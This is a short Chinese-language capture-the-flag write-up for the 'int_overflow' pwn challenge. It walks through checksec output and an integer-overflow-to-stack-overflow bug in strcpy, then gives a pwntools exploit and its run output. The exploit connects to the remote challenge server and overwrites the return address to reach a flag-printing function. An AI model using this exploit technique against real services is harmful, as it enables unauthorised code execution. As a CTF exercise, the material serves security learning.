0x01寻找漏洞
checksec
kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ checksec int_overflow
[*] '/home/kk/Desktop/black/GFSJ/int_overflow/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析

strcpy处有栈溢出。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。
0x02利用思路
要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可
第一种passwd太短,无法利用进行改写程序流,我们使用第二种思路。
程序中存在,可以将返回地址指向what_is_this()

0x03攻击
exp如下
#!usr/bin/python
from pwn import *
#context.log_level = "debug"
io = remote("111.198.29.45", 53168)
# io = process("./int_overflow")
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
payload = payload.ljust( 259,"a")
io.sendline(payload)
io.recv()
io.interactive()
kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ python exp.py
[+] Opening connection to 111.198.29.45 on port 53168: Done
[*] Switching to interactive mode
Success
cyberpeace{自己试试口喜口喜}
[*] Got EOF while reading in interactive
$
网友评论